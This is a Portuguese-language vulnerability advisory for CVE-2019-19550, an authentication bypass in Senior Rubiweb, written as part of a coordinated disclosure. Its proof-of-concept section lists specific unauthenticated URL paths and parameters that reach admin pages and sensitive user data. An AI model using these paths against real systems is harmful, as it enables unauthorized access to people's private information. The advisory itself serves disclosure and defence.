CVE-2019-19550

---

[Descrição]

Bypass Remoto de Autenticação no Senior Rubiweb 6.2.34.28 e 6.2.34.37 permite acesso de administrador a informações sensíveis de usuários afetados que utilizam versões vulneráveis. O atacante só precisa fornecer a URL correta.

---

[Datas Importantes]

• Anúncio (ao Fornecedor): 2019-12-02
• Data de divulgação pública: 2020-01-30

---

[Tipo de Vulnerabilidade]

Controle de Acesso Incorreto

---

[Fornecedor do Produto]

Senior

---

[Base de Código do Produto Afetado]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• Outras versões podem ser afetadas, especialmente da mesma família (ainda não testadas)

---

[Componente Afetado]

Rubiweb

---

[Tipo de Ataque]

Remoto

---

[Impacto Divulgação de Informações]

Verdadeiro

---

[Vetores de Ataque]

O acesso a informações sensíveis está disponível publicamente sem requisitos especiais (apenas o URI correto)

---

[O fornecedor confirmou ou reconheceu a vulnerabilidade?]

Verdadeiro

---

[PoC - Prova de Conceito]

1. Basta tentar conectar ao portal autenticado para confirmar a existência e a versão do produto afetado:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Acesse a página vulnerável (admin sem autenticação):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Descobridor]

Mauricio Santos (R&D UnderProtection) e Hesron Hori (R&D UnderProtection) e @redteambrasil

---

[Agradecimentos]

Senior - Equipe de Segurança da Informação do Fornecedor, que colaborou para uma divulgação coordenada

---

[Referência]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName